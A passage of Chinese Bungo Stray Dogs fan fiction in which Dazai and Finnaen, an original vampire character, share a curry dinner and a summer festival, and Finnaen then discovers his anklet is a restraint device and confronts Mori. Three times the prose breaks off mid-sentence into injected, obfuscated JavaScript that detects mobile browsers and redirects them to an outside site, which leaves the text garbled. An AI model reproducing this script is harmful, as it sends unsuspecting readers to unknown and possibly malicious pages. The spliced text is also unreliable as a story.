“我会留下来,我会用我名下仅剩的一切,从头开始。”她转过身,眼神灼灼,“我会亲手重建山本集团,一点一点,用绝对干净、绝对光明正大的方式。” “我会让所有人看到,山本这个姓氏,不只会代表罪恶和贪婪,它将来……也可以代表诚信和重生。” 她要让父亲在另一个世界看到,他走错的路,她将用正确的方式,重新走一遍。 这不是为了赎罪,而是为了超越,为了彻底斩断过去的阴影。 尾崎红叶看着她,眼中闪过一丝淡淡的讶异和欣赏。 她最终微微一笑:“很有魄力的决定。不过,这条路会非常艰难。” “我知道。”美惠的回答没有丝毫犹豫,“但我已经准备好了。” …… 与此同时,港口Mafia大楼天台。 太宰治和菲那恩并肩站着,俯瞰着脚下这座繁华的城市。 远处的海面上,“海明珠号”残骸的打捞工作仍在继续,像一个巨大的、正在被逐渐遗忘的伤疤。 “森先生很满意这次的结果。”太宰治懒洋洋地靠在栏杆上,声音被风吹得有些散漫,“我们彻底掌控了那条线路,利益远超预期,至于山本家那位大小姐的选择……倒是有点出乎意料。” 菲那恩血红的眼眸望着城市远方,没有回应。 太宰治侧过头,打量着他安静的侧脸:“还在想游轮上的事?还是在想……那位选择了艰难道路的大小姐?” 菲那恩沉默了一会儿,眼里隐隐有着极深的触动:“她太像了。” “像谁?” “像……我的母亲。”菲那恩的声音很轻,“明明可以选择更容易的道路,却偏偏选择了最艰难的那种。” 太宰治眸光微动,轻笑了一声:“人类就是这样一种复杂的生物啊,明明脆弱得不堪一击,却有时候又能爆发出令人惊讶的韧性。” 他顿了顿,语气带上了一丝惯常的让人分不清真假的戏谑,“不过,这样不是更有趣吗?比起一眼就能看到底的棋子,我更喜欢观察那些不按常理出牌的变量。” 菲那恩蹙着眉转过头,看向太宰治:“难道港口Mafia……会在她重振集团的道路上,设置障碍?” 太宰治与他对视,鸢色的眼眸在夕阳下显得深邃难测。 “谁知道呢?”他拖长了语调,露出一个意味深长的笑容,“未来的事情,就交给未来的我们去烦恼吧~至少现在,她为我们彻底清除对手提供了绝佳的借口和助力,不是吗?” 他伸出手,像是想要像往常一样揉乱菲那恩的头发,但在指尖即将触碰到那柔软发丝时,动作却几不可察地停顿了一下,最终只是轻轻拍了拍他的肩膀。 “走吧菲那恩,今晚据说有新开的甜品店限时特供超~美味的草莓大福哦,过两天就是夏日祭了,去晚了可就抢不到了哦。” 太宰治转身,哼着不成调的自杀歌谣向楼梯口走去。 菲那恩最后望了一眼山本集团大厦的方向,那里曾经是罪恶的中心,如今只剩下一个空壳,和一个少女沉重而光明的誓言。 旧的罪恶被终结,新的秩序被建立。 而横滨,这座永远在光明与黑暗间摇摆的城市,依旧在贪婪地吞噬着一切,同时也默默地孕育着下一次的冲突与更迭。 他收回目光,转身跟上太宰治的脚步。 至少现在,还有草莓大福可以期待。 45.不辣的咖喱 夏日祭的前一天。 横滨的天空毫无预兆地阴沉下来,豆大的雨点急促地砸落,在街道上溅起朵朵水花。 菲那恩刚结束一项外围巡视,还没来得及返回港口Mafia大楼,便被这场突如其来的暴雨困在了街头。 此刻他正在回乱步的信息。 他敏捷地闪身躲进一处屋檐下,粉色发丝被飘进来的雨水打湿了几缕。 他看着眼前白茫茫的雨幕,微微蹙眉,随即继续低头生疏地打字。 【世界第一的名侦探乱步大人】:海明珠号爆炸的事菲那恩有听过吗?名侦探一眼就看出来这件事和你有关,来问你只是想知道一些更有趣的细节而已~ 【菲那恩】:我见证了海明珠号在一夕之间的落幕,不知道为什么,我感到有点……难过。 【世界第一的名侦探乱步大人】:因为菲那恩是个好孩子呢!但是你没错哦,没关系的。 【菲那恩】:谢谢乱步,我没事的。 就在这时,一股熟悉而浓郁的香料气味顺着风飘了过来。 菲那恩抬头望去,发现自己正站在那家熟悉的咖喱店附近。 暖黄色的灯光从玻璃窗透出,在灰暗的雨景中显得格外温暖。 他想起来了,孩子们就住在这里,楼上就是他们的家。 想起咲乐亮晶晶的眼睛,还有其他几个孩子吵闹却充满活力的样子,菲那恩几乎没怎么犹豫,便推开店门,走了进去。 门上的铃铛发出清脆的响声。 店内温暖而干燥的空气混合着浓郁的咖喱香气扑面而来。 现在离最早的晚饭时间还有一个小时,这个时间点,店内没有其他客人。 “欢迎光临——”系着围裙的店长从厨房窗口探出头,看到菲那恩这个生面孔,尤其是那出众的容貌和粉发赤瞳,脸上露出一丝短暂的惊讶,但很快化为职业性的和善笑容。 “一位吗?外面雨很大吧?快请坐。” 菲那恩点了点头,目光扫过店内,随即微微一怔。 在最里面那张熟悉的长桌旁,红发的织田作之助正坐在那里,面前放着一杯水,似乎正在等待。 而他旁边,五个孩子正乖乖地坐在另一张桌子旁写着作业,听到铃声都抬起头来。 几乎是同时,织田作之助也注意到了门口的动静,抬起头来,看到菲那恩时,他平静的蓝色眼睛里掠过一丝讶异。 “菲那恩?”织田作之助开口打了声招呼,语气平稳,“真巧,来躲雨的吗?” 店长听到织田作之助熟稔地叫出客人的名字,这才恍然大悟,脸上的笑容立刻变得更加真切和热情:“哎呀,原来是织田的朋友啊!快请进快请进!这雨下得真突然!正好,孩子们的咖喱马上就好。” “织田作,你也在?”菲那恩走到织田作对面的位置坐下,语气中透着一丝抱怨,“雨实在太大了。” 孩子们也发现了他,立刻兴奋起来,作业也不写了。 “啊!是菲那恩哥哥!” “菲那恩哥哥你也来啦!” 咲乐更是直接跑过来,仰着小脸,眼睛弯成月牙:“菲那恩哥哥,好久不见!店长大叔今天要做超好吃的咖喱哦!” 菲那恩看着女孩真诚的笑脸,心里软了一下,轻轻揉了一下她的脑袋。 店长笑着走过来,递给菲那恩一杯热麦茶:“下雨天喝点热的暖暖身子,小先生吃饭了吗?一起吃点吧?今天做牛肉咖喱,孩子们念叨好久了。” 菲那恩想起上次被织田作的特辣咖喱支配的恐惧,犹豫了一下。 店长似乎看出他的顾虑,哈哈笑道:“放心,是家常口味,不辣的!织田那份‘特制’的,我单独给他做!” 织田作之助也点了点头,对菲那恩说:“店长的手艺很好,可以试试看。” “……那好吧。”菲那恩没有再犹豫。 很快,店长就端上来几盘热气腾腾的咖喱饭。 孩子们的盘子里是浇着浓郁酱汁的牛肉咖喱,配着胡萝卜和土豆,看起来非常诱人。 织田作面前则是一盘颜色深红、散发着危险气息的特辣咖喱,给菲那恩的咖喱则是和孩子们一样的家常口味。 “我开动了!”孩子们齐声说完,便迫不及待地吃了起来。 菲那恩学着他们的样子,舀起一勺送入口中。 牛肉炖得酥烂入味,咖喱的香气醇厚温和,带着淡淡的甜味,非常适合孩子和……像他这样不太能吃辣的人。 确实很好吃……超级好吃。 织田作之助继续慢条斯理地吃着他的特辣咖喱,仿佛那灼烧感不存在一样。 他语气平常地问:“最近怎么样?” 菲那恩脸颊鼓鼓的,一边咀嚼一边思索:“唔……我主动救了一个少女?” 织田作之助赞许地点了点头,“菲那恩也是个好孩子呢。” 话说已经不是一个人夸他是好孩子了…… 菲那恩倔强地反驳了一句,“我真的早就成年了。”而且在坐的各位年龄加起来乘两倍……都没有他的年龄大。 “这样啊。”织田作之助依旧淡淡道,菲那恩也看不出来他到底信了没。 店长一边擦着杯子,一边笑眯眯地看着他们吃饭,偶尔提醒某个孩子: “幸介,慢点吃,没人跟你抢。” “咲乐,要把胡萝卜也吃掉哦,不可以挑食。” 织田作之助吃完后,很自然地从口袋里拿出一个信封,递给店长:“店长,这是接下来的生活费,麻烦您了。” 店长接过信封,点点头:“好嘞,织田你就放心吧,孩子们在这里都好着呢。” 窗外的雨声淅淅沥沥,店内的灯光温暖昏黄。 孩子们吃完咖喱,又开始叽叽喳喳地说起学校里的事,店长在一旁笑着听,偶尔插句话。 织田作之助和菲那恩之间话不多,但这种沉默并不尴尬。 菲那恩听着这充满生活气息的喧闹,看着窗外渐小的雨势,心中一片宁静。 店长像是想起了什么,转头问孩子们:“对了,明天就是夏日祭了,你们今年最期待什么呀?捞金鱼?苹果糖?还是面具?” 孩子们立刻被这个话题点燃了,七嘴八舌地嚷起来: “苹果糖!超大的那种!” “我要玩射击游戏!赢最大的玩偶!” “捞金鱼!这次我一定要捞到十条!” 咲乐捧着脸,憧憬地说:“我想穿漂亮的浴衣!和织田作还有大家一起去!” 店内充满了欢乐的喧闹声。 店长笑呵呵地听着,目光转向安静喝果汁的菲那恩,温和地问道:“小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16537797|183387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哥呢?第一次在横滨过夏日祭吧?有没有什么特别想做的事?” 菲那恩微微一顿。 夏日祭…… 这个词汇触动了他脑海中某个记忆的开关。 一幅画面清晰地浮现出来——那是之前他偶然路过商业街的电器行,巨大的显示屏上正播放着往届夏日祭的宣传影像。 璀璨的灯火如同星河坠落人间,穿着各色浴衣的人们笑语盈盈,琳琅满目的摊位散发着诱人的光芒和香气…… 而最震撼的,是夜幕中骤然绽放的、巨大而绚烂的烟花,将整个夜空瞬间点亮,绚丽的光彩倒映在每一个仰望者的眼中。 当时他只是匆匆一瞥。 但此刻,在店长和孩子们充满期待的目光下,在那个雨声淅沥的温暖空间里,那个影像却异常清晰地回放起来。 他几乎是不假思索地,遵循着内心深处最直接、最真实的愿望,轻声回答道: “烟花。” 他的声音不大,却让叽叽喳喳的孩子们都安静了一瞬,好奇地看向他。 菲那恩赤红的眼眸中流露出一丝纯粹而真实的期待:“想和太宰一起,看烟花。” 他顿了顿,像是已经看到了那个场景一样,嘴角不自觉地扬起一个非常清浅却真实的弧度。 织田作之助闻言,平静的蓝色眼眸中掠过一丝极淡的、了然的微光。 他看了看菲那恩脸上那几乎可以称之为柔软的表情,什么也没说,只是端起水杯喝了一口。 店长则愣了一下,随即脸上绽开一个更大、更温暖的笑容,连连点头:“哎呀,和重要的人一起看烟花啊,真好,真好!那可是夏日祭最浪漫的事情了!肯定没问题的!” 孩子们虽然不太懂“浪漫”的含义,但也跟着起哄: “哇!菲那恩哥哥和太宰哥哥一起看烟花!” “烟花超——漂亮的!” “咲乐也想和大家一起看烟花!” 窗外的雨声似乎都变得柔和起来。 渐渐地,夕阳从云层后露出,金色的光芒透过湿漉漉的玻璃窗。 织田作之助站起身:“我该走了。” 孩子们跑过来和他告别,“织田作再见!” 咲乐也看向菲那恩:“菲那恩哥哥也要再来玩哦!” 菲那恩忍不住弯了弯眉眼:“我会的。” 店长送他们到门口,对织田作之助说:“路上小心。”又对菲那恩笑道:“小哥,下次再来啊,尝尝别的口味!” 织田作之助和菲那恩一前一后走出咖喱店。 雨后清新的空气扑面而来,夕阳将他们的影子拉得很长。 两人沉默地走了一段。 “他们在这里,很好。”织田作之助忽然开口说道,像是在陈述一个事实,又像是在告诉自己。 菲那恩侧头看了他一眼,点了点头:“……嗯。” 他能感觉到,织田作之助定期来这里看望他们,不仅仅是一种责任,更是一种……汲取温暖的方式。 而这家小小的咖喱店和善良的店长,则成为了这一切得以实现的、稳固而温暖的港湾。 横滨这座城市冰冷又血腥,但却流淌着的细微却坚韧的温情。 他有预感,不管过多少年,只要回想起这个雨后的黄昏,就会感到一种别样的安心。 46.夏日祭 横滨的夏日祭,灯火如昼,人声鼎沸。 各个组织默契休战,将安宁留给了夏日祭的横滨。 和服的衣角与各种小吃的香气交织在一起,空气里弥漫着人间烟火特有的热闹与温暖。 菲那恩赤红的眼眸好奇地映照着这一切,怀里抱满了各式各样他没尝过的人类小吃,甚至还买了一个狐狸面具,歪歪斜斜地挂在脑袋一侧。 幸好港口mafia的薪水足够丰厚,让他可以毫无顾忌地沉浸在这份新奇与喧嚣之中。 尽管活了很久,但这样轻松而纯粹的欢闹,在他漫长的生命里依旧如同稀有而珍贵的光芒。 尤其是,身边还有…… 他悄悄侧过脸,看向身旁披着黑色外套、绷带在颈间若隐若现的太宰治。 中原中也双手插在口袋里,一脸“老子极其不爽”地走在旁边:“所以为什么我非得跟你们两个家伙一起来这种地方不可?” “因为中也是我的狗嘛~”太宰治笑嘻嘻地,精准地往中也的怒火上浇油,“主人出来散步,狗狗当然要跟着付钱……啊不是,是护卫呀!” “想死吗混蛋太宰?!”中也额角瞬间爆出青筋。 菲那恩咬着甜脆的苹果糖,看看这个,又看看那个,最终对太宰说:“太宰,不要总是欺负中也。” 看,他甚至已经开始下意识地“规劝”了。 太宰脸上的笑容加深,像是忽然发现了什么有趣的东西,指着前面的射击摊:“啊!那个看起来很不错!中也,敢不敢来比一比?输的人负责付清今天所有的账,还要帮赢的人拿东西!” 他晃了晃不知何时已经拎在手里的几个购物袋。 “哈?谁会怕你啊!来就来!”中也的好胜心瞬间被点燃。 比赛结果毫无悬念。 中也技术精湛,几乎弹无虚发,很快就赢得了一堆小奖品。太宰则看似认真地瞄准,结果却总是“差之毫厘”,成绩惨不忍睹。 他适时地叹了口气,微微垂下头,声音里带着一丝恰到好处的落寞,演技堪称教科书级别,“唉,果然还是不如中也呢,看来今天要破产了……这个月的工资好像又因为入水请假被扣得差不多了呢。” 菲那恩的心像是被轻轻揪了一下。 他知道太宰经常入水,身上时常湿漉漉的,钱包也总是不知所踪。 他几乎立刻在脑海中勾勒出一个穷困潦倒、只能勉强维生的太宰形象。 一股强烈的保护欲,混杂着某种更为柔软陌生的情绪涌上心头,让他自己都微微一怔。 他上前一步,轻轻拉了拉太宰的袖子:“没关系的,太宰。我有钱,我帮你付。” 他甚至将自己刚买的狐狸面具小心翼翼地戴在太宰头上,仿佛一种无声的安慰与站队。 太宰治鸢色的眼眸闪烁了一下,一种奇异的满足感迅速包裹了他。 他看着菲那恩那双无比认真的红眸,里面纯粹的担忧和维护,让他感到十分愉悦。 他顺势低下脑袋,任由菲那恩帮他调整面具的带子,用近乎撒娇的语气说:“那就全靠菲那恩了哦。” 中也看着这一幕,恶心得差点把刚才吃的章鱼烧吐出来。 他赢了比赛,却感觉自己输得彻彻底底——无论是在智商还是心情上。 “喂!太宰!愿赌服输!”中也暴躁地指着那堆东西。 太宰立刻躲到菲那恩身后,抓着菲那恩的和服袖子,摆出一副委屈巴巴的模样:“可是……菲那恩说他会保护我的。蛞蝓好可怕,菲那恩,你看他!” 菲那恩立刻像是被赋予了神圣使命,看着中也,眼神仿佛在说中也咄咄逼人一般:“你不要凶太宰,我会帮他的!” 中也:“???” 中也气得差点原地起飞:“你们两个混蛋!!!太宰你他妈装什么穷!凭你的业务能力,银行账户里的这些年的存款位数比我年龄都多!” “诶——?”菲那恩闻言一愣,困惑地眨了眨眼,一脸不可置信地看向身后的太宰。 太宰治立刻又挂上那副无辜的表情,顺势又往菲那恩身后缩了缩,说:“但我刚刚不小心又把钱包掉进河里了。” 他眨了眨眼,突然压低声音凑到菲那恩耳边,用只有两人能听到的音量快速说道:“不过主要是想看中也跳脚的样子,不是很有趣吗?还好菲那恩坚定地站在我这边,不然我会很苦恼呢。” 菲那恩一脸懵,“这样……吗?” 所以,其实是太宰一直在引导他帮着一起欺负中也? 他第一次这么感同身受中也视角下的太宰,是多么地……欠揍。 就在中也即将彻底爆发的前一秒。 “砰——!” 第一朵烟花在空中绚烂绽放,璀璨的光芒瞬间照亮了所有人的脸庞。 菲那恩下意识地抬头,赤红的眼眸中被映满了流转的璀璨光彩,他轻轻地发出一声惊叹:“啊……” 太宰治没有看向烟花,他的目光落在菲那恩被烟火光芒点亮的侧脸上。 那双总是盛满虚无的鸢色眼眸里,此刻清晰地倒映着身边人的身影,某种连他自己都未曾明晰的柔软情绪悄然蔓延。 也许是因为烟花太吵,他觉得自己的心跳声有点过大。 菲那恩若有所觉地回过头,恰好撞进太宰治来不及收回的、复杂而专注的目光里。 四目相对的瞬间,空气中的某些东西仿佛悄然变质。 吸血鬼敏锐的感官让他能清晰地捕捉到对方加快的心跳,以及自己胸腔里同样不规则起来的震动。 ……这是什么感觉? 两人几乎是同时猛地转过头,假装全神贯注地望向夜空,仿佛刚才那短暂的目光交汇只是一个被烟花惊扰的意外。 绚丽的烟花接二连三地炸开,流光溢彩,却似乎都无法真正落入他们此刻的眼中。 菲那恩的心跳兀自擂鼓,那异常的、只为身边人响起的节奏,比烟花的轰鸣更清晰地回荡在他的感知里。 胸腔中这种陌生的、酸涩又带着微甜暖意的鼓动,不容忽视。 而太宰治,同样望着夜空,唇角那惯常的、若有似无的轻快笑意消失了,烟花的光影在他俊秀的侧脸上明灭不定,勾勒出一种罕见的、近乎空白的神情。 随后,他垂着眼眸,长睫在眼下投落一小片阴影,遮掩住眼底翻涌的复杂情绪,让人无从窥探他此刻的想法,只是下意识地,手指微微蜷缩了一下。 “你们两个混蛋!!!完全无视我了吗?!”中也的怒吼最终被新一轮烟花炸开的轰鸣和周围人群的欢呼声彻底吞没。 他的话没能说完。 太宰治忽然动了一下。 他转过头,脸上那片刻的凝重已在瞬间消散无踪,重新挂上了漫不经心的笑容,仿佛方才的失神仅仅是光影造成的错觉。 但他却没有看中也,而是将目光投向了身旁仍在怔忪的菲那恩。 他伸出手,非常自然地将菲那恩额前的碎发拂到对方耳边,让那双迷茫的赤红眼眸完全显露出来,指尖不经意地擦过菲那恩的额角。 “算了,”太宰治的声音轻快得一如往常,甚至带着点更加愉快的语调,“看在我们菲那恩这么努力‘保护’我的份上——” 他刻意拖长了语调,鸢色的眼睛弯起,视线牢牢锁住菲那恩。 “就让中也你请客吧。” 中也:“……哈?!!” 这混蛋逻辑是怎么回事?!为什么最后倒霉的还是他?! “走啦,笨蛋菲那恩,前面还有好多好吃的呢。”太宰治的声音依旧轻快,仿佛刚才那短暂的凝滞从未发生。 他自然地拉着菲那恩的手腕,继续往前走。 只剩下原地爆炸的中也:“太宰治!!!老子绝对要杀了你!!!” 菲那恩往中原中也的方向望去,随即转头对太宰说:“太宰,中也他……” 就在这时,一个穿着深色浴衣、低着头行色匆匆的男人,似乎为了避让对面跑来的小孩,不小心轻轻撞了菲那恩一下。 “啊,抱歉。”男人含糊地嘟囔了一句,声音迅速淹没在周围的嘈杂声里。 他甚至没抬头看菲那恩一眼,就迅速侧身挤入人群,消失不见。 菲那恩被撞得微微一个趔趄,下意识地稳住了身形。 “怎么了?”太宰治察觉到他的停顿,侧头问道。 “……没什么。”菲那恩摇了摇头,被这么一打断,他也没什么想说的了,只将这次碰撞归咎于夏日祭难免的拥挤。 太宰治不甚在意地点点头,注意力似乎又被远处的小摊吸引。 绚丽的烟花仍在夜空中绽放,祭典的热闹逐渐走向尾声。 中也气呼呼地率先离开,太宰治则心情颇佳地拉着菲那恩,又逛了几个摊位,直到菲那恩怀里实在塞不下任何东西,才意犹未尽地决定回去。 回到公寓,菲那恩将怀里零零碎碎的东西——吃剩的苹果糖、小袋装的金平糖、几个粗糙但可爱的小摆件——一一放在玄关的柜子上。 太宰治凑过来,信手拿起一个造型丑萌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16542926|183387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的粘土摆件,捏在指尖仔细端详,语气慵懒:“哇哦,看起来真是蠢得别致。” 菲那恩一脸震惊地看向太宰,捍卫般地强调:“蠢?明明很可爱啊,跟太宰一样。” 他顿了顿,像是忽然找到了反击的点,微微抬起下巴道:“不过,反正太宰说不定看什么都是蠢的吧。” 太宰治脸上掠过一丝真实的惊讶,随即像是被逗乐了,低低地笑出声,鸢色的眼底漾开些许兴味:“菲那恩什么时候突然变得这么伶牙俐齿了?真是越来越……算了,没什么。” 菲那恩镇定地别开脸,嘟囔道:“……我没有,我从一而终地就是我,我没变。” 太宰治的笑意更深,无奈道:“是是是~” 随后,菲那恩回到自己的房间准备换衣服,突然摸到有什么东西在袖袋里。 他将手指探入袖袋,摸到了一个光滑、硬挺的信封。 这是什么? 他不记得自己往袖袋里放过东西,买的东西都放在袋子里了。 一种说不清道不明的预感悄然浮现。 他想起祭典上那个匆忙撞了他一下的男人…… 迟疑了一秒,他还是将信封拿了出来。 信封很普通,纯白色,没有任何署名或标识,封口处只是简单地折合着,并没有粘牢。 谁给的?为什么用这种方式? 他捏了捏,里面似乎是几张纸。 菲那恩走到床边坐下,窗外的月光和城市的霓虹透过窗户,提供着微弱的光线。 他深吸一口气,纤细的手指挑开了信封的封口。 他将里面的东西倒在膝上。 是几张打印纸,上面印满了密密麻麻的英文字母和几张看起来像是产品说明的图表。 菲那恩的赤红瞳孔好奇地扫过那些文字,然后……整个人原地凝固住了。 他眨了眨眼,又凑近了些,几乎将纸贴到脸上。 这……! 呃……是什么? 看、看不懂……一个字都看不懂。 他好不容易不是一个日语文盲,这下又来一种莫名其妙的语言? 他皱着眉,努力辨认着。 好像是……英语? 格式看起来有点眼熟……对了,很像他研究冰箱和微波炉时附赠的那厚厚一沓说明书!也是这种分点论述、带着编号和示意图的样子。 所以……这是一份说明书? 什么东西的说明书需要这样偷偷塞给他? 他的目光落在那几张图表上。 图表是国际通用的,倒是能看懂一些。 一张清晰的示意图,画着一个打火机大小的黑色控制器,旁边标注着几个箭头,指向不同的按钮,按钮旁边写着小小的英文标注。 另一张图,是一个环状物的剖面结构图,内部构造精细复杂得令人咋舌,一些关键节点被放大,旁边同样有英文注释。 那个银环的造型……菲那恩下意识地摸向自己左脚踝上那个入职礼物。 一模一样。 他的心跳开始加速,一种混合着困惑和强烈不安的情绪攫住了他。 也许只是巧合吧? 他试图去理解那些加粗的标题和重复出现的短词,比如 Blood、Control、Restraint,他隐约觉得“Blood”这个词很关键。 他反复看着图表和那些他无法解读的文字,越看越觉得焦躁。 是谁?为什么要用他看不懂的方式告诉他这些? 直接去问太宰? 这个念头刚一冒出来,就被他立刻压了下去。 塞信封的人行为鬼祟,万一……万一是对太宰、对港口mafia不利的信息呢?或者,万一这里面有什么误会,他去问了,岂不是显得不信任太宰? 他在下意识地抗拒任何可能破坏现状的可能性。 他盯着那些天书般的说明书,看了很久很久。 最终,他有些泄气又无奈地将纸张小心翼翼地重新叠好,塞回了那个纯白色的信封里。 “……算了,”他低声自语,揉了揉有些发胀的太阳穴,“等明天有空……去找个字典查一下看看吧。” 他现在只觉得疲惫,祭典的兴奋过后是深深的倦意,大脑也无法处理这么复杂难解的信息。 他将信封随手塞进了床头柜的抽屉里,和几本没看完的书放在一起,打算等明天精神好了再研究。 然后,他拿起睡衣,走向浴室,试图用热水洗去一身疲惫和那莫名的不安。 47.离家出走 菲那恩躺在床上,赤红的眼眸在黑暗中睁着,毫无睡意。 那个纯白的信封像一块烧红的炭,烫在他的意识里。 Blood……Restraint…… 这些支离破碎的词汇在他脑中盘旋,交织出一种不祥的预感和好奇,越来越强烈,几乎让他窒息。 他猛地坐起身,烦躁地抓了抓自己的粉色长发。 不行,等不到明天了。 他必须现在就知道那上面到底写了什么。 菲那恩赤脚悄悄走出房间,来到客厅的书架前,书架上有一些厚重的、看起来会是词典的书。 月光透过窗户,提供着微弱的光线。 他纤细的手指在一排排书脊上划过,最终抽出一本厚重的英语词典。 他抱着词典回到房间,锁好门,打开床头灯,暖黄的光线下,他的脸色显得有些苍白。 他重新拿出那个信封,将里面的纸张摊开在膝上。 随即他深吸一口气,开始一个词一个词地查阅。 过程缓慢而煎熬,很多专业词汇词典里甚至没有,他只能根据词根和上下文猜测。 Blood…… Control……Restraint…… 血……控制……束缚…… 当最后那个意味着“约束装置”的单词释义清晰地映入他赤红的眼眸时,他所有的动作都停滞了一瞬。 他看不懂英文,但他知道这些全都是有效的炼金纹路。 银环不是那么简单的入职礼物这件事竟然……没有太过于出乎他的意料。 随后便是巨大的失落。 ——太宰骗了他。 菲那恩感觉自己心脏涌上一丝难以遏制的酸涩,他深吸一口气,强迫自己冷静下来。 他并不是不知好歹的傻子,因此不认为太宰对他的好是假的,但同样他也不认为这份说明书的内容是假的。 因为,他仍然记得自己最初戴上这个银环时就感受到了细微的能量波动,只是并未对他造成什么影响,渐渐地便忽略了。 直到现在,他突然发现自己其实根本感觉不到银环的能量波动。 怎么……回事?或许是因为他现在情绪波动过大吧。 他来不及深究,现在唯一能确定的是——有人挑拨他和太宰、和港口mafia的关系。 幕后之人,不出意外应该是果戈里口中的费奥多尔。 菲那恩突然发觉自己在太宰的耳濡目染下,对于这些阴谋诡计的辨别竟然有了如此大的长进! 他回忆着从前经历过的试探。 第一次试探狄克拉之银的功效——确认「筹码」? 第二次试探他的实力——确认「价值」? 他想了想,或许这一次是想趁他对港口mafia失望的时候拉拢他? 他突然觉得自己推理出了关键结果! 他想起探案类电影里经常出现的一个词——顺水推舟。 他可以顺水推舟,将那个费奥多尔引出来,然后直接杀死费奥多尔,然后跟太宰说自己兑现了曾经说过的话——【下一次,我会撕碎他们。】 他觉得这个计划……简直太完美了。 菲那恩注意力被分散后,就彻底冷静了下来,一时间也想通了太宰骗他的事。 他收起那本词典,血红色的眼眸映着明月,尖牙无意识地轻咬着自己的下嘴唇。 既然太宰在他初入□□时骗了他,那么他稍微报复一下太宰也无可厚非吧? 这是委屈、不安、难受,亦是试探。 毕竟他也想确认一下,朝夕相处这么久之后,太宰有没有……稍微比之前更在意他一点。 不知不觉,晨曦微露,第一缕光艰难地穿透了云层。 他听到了隔壁房间轻微的响动,是太宰治起床的声音。 太宰今天起床时间莫名地早。 他没有犹豫,猛地转身,甚至没有换下自己的樱色浴衣,撞碎了冰冷的玻璃窗,从高楼一跃而下,消失在渐渐亮起的天光里。 晨曦的寒意裹挟着破碎的玻璃渣,扑面而来。 菲那恩赤着双足,仅着单薄的樱色浴衣,在高楼间几个起落,便轻盈地落在了一条无人的后巷。 而一种更深的、细密的焦虑,像无数小虫子开始啃噬他的心脏。 时间一分一秒地过去,街道上逐渐有了早起行人的身影。 ——太宰发现他不见了吗? ——如果他根本没注意,或者要等到晚上才察觉怎么办? ——自己这样跑出来,是不是太冲动了?万一……万一太宰其实根本不在乎呢? 一种难以言喻的恐慌攫住了他。 他忽然无比后悔,为什么不在离开前,像人类电视剧里演的那样,留一张纸条,上面就写“我离家出走了”,那样至少太宰会立刻知道! “早知道就留纸条了……”他小声嘟囔着。 现在回去显然不可能,回去了就肯定走不了了。 他必须做点什么,必须立刻、马上让太宰,或者让港口mafia的其他人知道——他菲那恩·德·图拉尔,离家出走了! 去哪里才能最快地刷足存在感? 几乎是瞬间,一个身影浮现在他脑海——森鸥外。 作为港口mafia的首领,没有比在他那里闹出动静更能快速传遍整个组织的方法了。 而且,那个银环……森鸥外必然知情,甚至可能就是施令者。 对,就去那里。 菲那恩不再犹豫,避开所有监控和视线,朝着港口黑手党总部大楼疾驰而去。 …… 港口mafia总部,顶层首领办公室外。 黑西装守卫看着突然出现的、神色苍白的菲那恩,愣了一下,还没来得及开口询问,就在与那双红眸对视的一瞬间晕了过去。 随后,菲那恩猛地抬起了手。 “砰——!!!” 一声巨响,那扇厚重昂贵、象征着港口mafia最高权威的雕花木门,连同部分门框,被一股蛮横至极的力量直接轰飞了出去,碎片和烟尘四散飞溅! 菲那恩深吸一口气,调动起体内属于血族的力量。 一股无形的幻象领域骤然以他为中心扩散开来。 在森鸥外的视角里,他看到的是:破碎的门洞处,那个粉发的少年失魂落魄地站在那里,赤红的眼眸失去了往日所有的灵动与光彩,只剩下一种被彻底背叛后的、心如死灰的空洞与冰冷。 他浴衣单薄,赤足站在冰冷的地板上,沾满了灰尘,看起来脆弱得仿佛一碰即碎。 而真实的菲那恩,则悄无声息地移动到了办公室内一个视觉死角,屏息凝神,将自己完全隐藏在幻象之后。 他紧张地关注着森鸥外的反应,生怕自己的秘术被看穿——毕竟,森鸥外是个极其精明的人类。 森鸥外正坐在办公桌后处理文件,这声巨响让他握着钢笔的手一顿。 他抬起头,看向门口那片狼藉,以及站在狼藉中央、那个浑身散发着绝望气息的“菲那恩”。 他的眉头几不可查地蹙了一下,倒不是因为“菲那恩”那副心碎的模样,而是因为…… “菲那恩君,”森鸥外的声音听不出太多情绪,但熟悉他的人能品出一丝不悦,以及……对那扇门的真心疼? “你知道这扇门是意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“至于‘绝对束缚’……”森鸥外微微摊手,语气仿佛在谈论天气,“那只是最终手段,一个保险中的保险。除非你真正威胁到港口mafia的根本利益,否则它永远不会被启动。我相信太宰君也是这么认为的。” 他将一切说得如此理所应当,如此合情合理,仿佛欺骗、监视、束缚都是再自然不过的管理手段,甚至带着一种“为你好”的残酷理性。 森鸥外顿了顿,继续道:“不过,我以为以太宰君的风格,你会更早发现这一点呢。” 他的话语直接而冷酷,没有一丝安慰或迂回,仿佛在陈述一个再自然不过的事实。 这份“坦诚”在此刻,恰好完美扮演了“刺激者”的角色。 隐藏在暗处的真实菲那恩,听着森鸥外这番毫不留情的话,虽然早有预料,但心脏还是像被一只冰冷的手攥紧了。 同时,他也暗暗松了口气——森先生没有发现幻术。 